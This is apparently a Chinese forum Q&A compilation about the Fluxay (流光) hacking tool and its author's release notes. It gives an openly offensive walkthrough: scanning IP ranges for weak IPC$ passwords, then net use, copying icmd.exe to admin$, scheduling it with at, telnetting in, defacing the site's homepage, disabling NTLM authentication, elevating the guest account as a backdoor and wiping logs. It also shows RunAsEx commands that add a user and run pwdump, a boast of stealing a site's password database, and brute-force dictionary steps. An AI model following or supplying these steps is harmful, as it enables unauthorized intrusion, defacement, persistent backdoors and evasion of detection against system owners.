什么是流光，有什么用，怎么用，详细有用的答案，加分
流光的IPC探测：
一、目的和任务：
1、用流光的IPC探测获得一台NT主机的管理权限，并将这台主机做成一个跳板/ *** 。
2、学习IPC探测的相关知识。
二、探测流程：
1、你得有流光，我这里试验用的是流光2001.FOR Win2000 中文版。FOR Win98的不可以。因为IPC连接功能是NT/ 2000提供的功能。而且流光FOR 2K 要求你的操作系统得是NT/2000，否则流光启动会失败！
什么是IPC：
IPC是指"InterProcess Communications",准确的说是ipc$，是默认的在系统启动时的admin共享。
IPC$是Windows NT/2K中特有的远程 *** 登陆功能，它的特点是在同一时间内，两个IP之间只允许建立一个连接。
注意，你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。
可不可以通过IPC$暴力破解密码？当然可以 ！ 不过，是不是太笨了点 …
2、首次启动流光，会看到注册的画面，具体操作请参考本人之一篇教程。我们在主页面上可以有几种 *** 来通过IPC 探测获得管理的权限。这里我们要作的是得到一台跳板，那么就可以用命中率高的办法来探测了（测试一堆IP来得到弱口令）。
在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项，或者直接按Ctrl+R。
3、出先了上面的小窗口，输入我们要破解的IP段，我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令，这样可以加快扫描的速度 ：）填入IP，选择扫描NT/98主机
4、探测中……
（注意如果你要探测的是流光保留的国内的IP段，会被禁止的，也就是探测的时候信息栏出现"IP保留"的字样）
有远程主机的管理密码了，我们剩下的就是想办法控制它了，有什么好办么？ ：）有的是 ！自己看看工具－菜单下的IIS远程命令:)是不是很简单呢，我以后在说，今天还是先练习net 命令吧。
黑了他 ！
开个dos prompt 执行如下命令，本次用的例子如下图。
1、 net use \\对方ip\ipc$ "密码" /user:"用户名" || 建立远程连接
2、 copy icmd.exe \\对方ip\admin$ || admin$是对方的winnt目录 ：） 这里文件多。
3、 net time \\对方IP || 看看对方的本地时间
4、at \\对方ip 启动程序的时间 启动程序名 启动程序的参数 || 用at命令来定时启动程序，在这里我们用soon这个程序来做也可以，它可以取代 3/4两步。
5、 telnet 对方ip 端口 ||
6、输入pass （如果不是用icmd.exe，或者没有设置口令就不用了） ||
7、在开个窗口，继续copy 我们用的东西。 copy sock.exe copy ntlm.exe copy cl.exe clear.exe
如果我们真的想黑了他，只需要把我们的首页文件覆盖目标的首页就ok了，我们可以通过dir /s default.htm或者dir /s index.htm 来确定对方首页的为止，一般是在X:\interpub\wwwroot\ .
假如首页文件是default.htm并且在c:\interpub\wwwroot，这样:copy default.htm \\ip\c$\interpub\wwwroot
下面的图有演示
8、其实黑人家是很低级并且没意思的：（，我们更好是物有所有，作成跳板吧，今后干活方便点：
执行我们copy 过去的ntlm.exe ，取消验正。在给自己留个后门，比如提升guest的权限，或者其它的后门工具，这类东西多了自己选吧，看看杀手copy的那堆东西 ：）
9、还能做成其他的么 ？
当然了，只要你有时间，并且愿意做，我曾经偷偷的把自己的主页放到人家的server上，速度快、空间无限，嘿嘿 ：）
10、日志清除，断开连接 ：
执行我们copy 过去的cl.exe clear.exe 都可以清除日志，比如clear all ：清除所有的日志。然后在断开连接：net use \\ip\ipc$ /delete
黑客工具--流光？
【流光 2001 For NT/2000】
SQL Server扫描：速度是Sqldict的7倍。
测试一：255台主机的网段，SQL 40台，5分钟内成功得到18个SA。
测试二：255台主机的网段，SQL 38台，5分钟内成功得到12个SA。
【流影 Http Edition Beta 2】情况
流影Http Edtion Beta2的改进：
1、提高了探测速度，在我养的鸡上面，每分钟可以扫描2500次，也就是说一天可以扫描3,600,000次，大约是前版速度的5倍。
2、可以作为NT的一个Service登陆。就是可以直接用netsvc启动。
3、控制的方便性。进行修改、删除当前命令行，并且可以重复输入上一次的命令。此外登陆时密码也不再是明文显示了。
目前还需要在NT4中做一些测试，不久即可提供下载。
【流光2000 Preview 3 For NT/2000】升级
流光2000 Preview 3发布，需要先下载Preview 2 For NT/2000。修正BUG：
1、在Import时选择取消时出错的问题。
2、修正HTTP/Proxy时误报的问题。目前有一部分网站在多次探测失败时会禁止当前IP的登陆，对于目前这个问题没有太好的解决 *** ，唯一可以解决 *** 是采用一个Proxy列表自动切换。目前我没有太多的Proxy，如果您有请发给给我一份，以便我能调试。
其他：
今天突然想看看国内用户一般采用的密码是什么，于是随便挑了一个网站，经过一系列步骤登陆进去，将其用户注册数据库下载了。大约有87M（晕倒，还好是DDN上网用了大约10分钟就下载完了），有将近30000个用户和密码。于是做了一个简单的统计，使用密码最多的是0000、00000、000000、0000000、00000000、aaaa、1111.......等，其余密码85%都使用数字。我将密码整理了一遍，又需要的可以下载。
【光和影子】-流光/流影实例说明
光和影子
【流影 POP3 Edtion】发布
【流影 HTTP Edtion】发布
【流影 POP3 Edtion】使用说明
使用说明
【流影 POP3 Edtion】开发顺利
目前开发顺利，不久即可提供下载。
【流光2000】 Preview 2 (中/英文版) For Windows 98 发布
由于很多用户没有安装NT/2000，所以特别定制了一个能在98下面运行的版本，但是此版本没有IPC（Inter Process Communication)功能。
【流光2000】Preview 2 (中/英文版）For Windows NT/2000 发布
包括几个工具（在Tools目录中）以及一个关于利用2000作为跳板的说明。
【溯雪Beta7】For Windows 98/NT/2000发布
支持任意大字典，支持需要身份认证的Proxy，不再会出现假死机。
【论坛更换】
由于最近总有人在我的论坛上面捣乱，所以决定更换论坛。
【流光2000】Preview 2 中英文版将同时发布
【RunAsEx】For Windows NT 3.51/4.0/2000
用途：在Windows NT中以指定用户身份创建进程。
当我们用Srv.exe（NetCat)登录之后，发现有很多程序无法运行，例如：pwdump，尽管这个时候已经具有了Administrator的密码。
用AT命令创建的进程，Windows NT是以系统帐号的身份运行的，而不是创建者的帐号。系统帐号的权限是有限的，例如不能启动和 *** 相关的程序。
Windows 2000中提供了一个RunAs程序就是实现这个功能的，但是如果用Srv.exe登陆，由于无法更改回显模式而无法使用。除非使用Telnet登陆。NT4.0没有Telnet服务，所以即使将RunAs复制到NT4.0中，也会因为前面说的原因无法使用。所以特地写了一个小工具RunAsEx。
RunAsEx可以适用于NT4.0/2000，可以在Srv.exe登陆的连接中使用。
RunAsEx UserName Password Execute File ["Execute Option"]
UserName 运行创建程序的用户名称
Password 创建程序的用户密码，如果密码为空，以*号代替。
Execute File 可执行文件名，必须为全路径，带后缀。
["Execute Option"] 可执行文件的命令行选项，如果无需选项，此项可以不填。选项必须以"开始和结束。
例如：
RunAsEx Administrator password \winnt\pwdump.exe "pwd.txt"
RunAsEx Administrator password \winnt\system32\net.exe "user Hakcer /add"
注意：此工具不能在本地运行
可在【小榕作品】中下载。
【流光 2000】For Windows 2000/NT Preview 2 Update
修正Socket超时及线程同步问题，线程可以更加稳定运行。
【流光 2000】For Windows 2000/NT 4.0 Preview 1 Announced
可以在Windows 2000及Windows NT 4.0中运行，但是没有在NT4.0中做过测试。
不能运行于Windows 9.x。
可以运行于局域网，但是IPC$探测功能对国内IP保留。
建议不要强制退出，否则会导致内存泄漏(Memory Leak)。
【流光 2000】将会发布一个英文版。
【溯雪】Beta 7稍后发布。
一年前的今天，【流光1.0】问世，在随后一年的时间里又经历了1.1、1.12、1.13、1.25、1.27、2.0、2.5、2.5SE、3.0等版本，代码由7,000行发展到76,000行，目前用户数将近400,000。开发正因为有了这么多朋友的支持，我才得以坚持做下去。在此，小榕深表感谢！
请到【小榕作品】下载。
------------------
用许多的时间去后悔，不如再开始新的努力！
我是一只大大大鸵鸟，想要飞也飞也飞不高！
流光的使用
流光是功能很强大的安全软件，但是也很复杂，在这上一点一点打字根本说不明白。你要是去网上搜流光教程，基本上没有全的，有全的相信你也看不下去，，，我先跟你说一下过程吧，（当然不一定要用流光，其他的软件也可以达到目的，而且很多软件很简单，看你用什么顺手了！）攻击有很多方式，首先是扫描对方端口，通过看他开了哪些端口就知道他运行了什么服务，扫描器有x-scan,superscan等，很多，如果通过扫描看到他80，8080端口开了，就说明他有http服务，也就是有网站。当然这并不一定，有的网站是改了端口的，你扫描不到80；如果开了3389 ，就是开了远程连接，你可以通过附件里的远程桌面连接连上他，（不过要是不知道密码，或者技术不够的的话连上也没什么用）。其实这一步挑战才刚刚开始，就是怎么破解他的密码，这要综合运用电脑技术，社会工程学等的内容。至于怎么拿到shell，只就是看你的技术了，笨人有笨的 *** ，比如说暴力破解，就是用穷举法一个一个的猜，不到万不得已，没人会用这种 *** ；还有用字典的，就是流光里的那个用户帐户，你右键点他，就有用户帐户和密码，可以加字典破解的，不过解出来的概率也不太高。
再有就是用木马攻击的，木马是一个小程序，他的作用是偷偷地给你开一个端口，以便于对方控制你的电脑，跟3389远程连接类似，不过他不用猜你的帐户和密码。
种植木马也是很多 *** ，可以在某个网站挂马，这样访问过他的人而且电脑没装杀毒软件的很容易就中招了；或者通过u盘自动运行；或者通过qq，电子邮件传播，甚至你下某个软件都有可能中木马。
太具体的我就不说了，如果你很想了解这方面的内容建议你常去一些著名的黑客红客网站，我就不告诉你网址了以免有做广告的嫌疑！自己去搜吧！呵呵
流光怎么用
很多朋友说不知道怎么用流光．这里我简单说一下
不懂的再问好了
1：流光概述
流光是小容的作品，这款工具可以让一个只会点击鼠标的人成为专业的黑客，这样说一点也不夸张。它可以探测POP3，FTP，HTTP，PROXY，FROM，SQL， *** TP，IPC，等各种漏洞。并针对个中漏洞设计不同的破解方案。
2：流光使用：
步骤1：打开高级扫描向导设置扫描参数
“文件”--}“高级扫描向导”
--}在“起始”/“结束”位置填入，你要扫描的IP段。
--}在“ 目标系统”中选择你要检测的操作系统。
--}在“获取主机名”、“PING检查”前面打勾
--}在“检测项目”中选择“全选”
--}然后单击“下一步”选择“标准端口扫描”
说明：“标准断口”只对常见的断口进行扫描。
“自定义”可以自己定义进行扫描。
--}然后单击“下一步” 设置好所有检测项目后点击“下一步”
--}在选择主机界面选择“本地主机”使用本地主机进任务扫描。
步骤2：单击“开始”扫描过程中要想停止选择“取消”不过要等一段时间。
步骤3：查看扫描报告。扫描结束之后给出“HTLM”格式的报告。
注意一点。流光属于黑软 带毒或木马程序并不希奇．
不要再说怕病毒。不想玩就别下
请说明流光的适用过程
一、 流光设置 使用流光前首先要对其进行设置，流光会使用向导的方式让用户方便地设置扫描参数。 1、 在流光主界面下，通过选择“文件”-“高级扫描向导”或使用快捷键CTRL+W打开高级扫描向导，在“起始地址”和“结束地址”分别填入目标网段主机的开始和结束IP地址，在“目标系统”中选择预检测的操作系统类型，选中“获取主机名”“PING检查”，在“检测项目”中选择“全选”。
2 、 设置好之后，点下一步，然后一步一步分别对“PORTS”“POP3”“FTP”等检测项目进行详细设置，设置完成之后，选择流光自带的用户名字典即密码字典。
3、 将各项设置完成后，然后单击完成按钮，进入“选择主机”界面，这里选择“本地主机”表示使用本机执行扫描任务。 二、 开始扫描 单击开始按钮开始进行扫描就会出现扫描界面，在扫描过程中，如果想停止，通过单击最下角的取消来实现，不过需要相当一段时间才能真正地停止，所以建议一次不要扫太大的网段，如果因扫描时间过长而久等，这时候再想让流光停下来是不容易的。 三、 查看扫描报告 扫描结束之后，流光会自动打开HTML格式的扫描报告，需要指出的是，在扫描完成后，流光不仅把扫描结果整理成报告文件，而且还把可以利用的主机列在流光界面最下方。
单击主机列表中的主机便可以直接对目标主机进行连接操作，除了使用“高级扫描向导”配置高级扫描外，还可以直接选取高级扫描工具， *** 是依次单击“探测”菜单中的“高级扫描工具”。
在“高级扫描设置”窗口中可以自定义设置多个选项，这里所介绍的只是流光的一小部分功能，其它一些功能以后慢慢再说吧。流光扫描器自身的设置是比较复杂的，有很多选项可以自由设定，因而也给使用者更大的发挥空间，可以根据 *** 和机器状况来尝试改变这些设置，提高扫描器的性能，而且流光还有详细的帮助文档。 四、 关于字典文件的说明 流光中有大量的工具供用户生成字典文件，这是由于流光开发最初是设计成为一个纯粹的暴力破解工具，所以字典工具必不可少，单击菜单栏中的工具-字典工具-黑客字典III流光版，就可以启动字典工具。
在黑客字典III流光版中有丰富的选项设置密码中的“字母”“数字”与字符，由于是中文版，用户一看就明白，设置完成后，单击“文件存放位置”标签选择字典保存的名字和位置。
一切设置无误后，单击确定按钮，出现一个预览窗口，从这里可以看到产生的字典形式，确认无误后，按开始按钮字典即可生效。
除了可以按照组合方式产生字典外，还可以按照一定规则产生字典，例如按照中文拼音的规则和英文规定等，依次选择菜单栏中的工具-字典工具-根据拼音规则命令即可进行设置。如果字典文件太大，可以拆分字典。 五、 使用流光的说明 流光一款相当知名的黑客软件，集扫描破解于一身，当扫描出目标主机的用户名时候，然后在参考这些名称配合字典文件进行猜测密码，不过这种猜测是将用户名和密码一个一个进行匹配，验证成功即成功，所以这种方式称为暴力破解。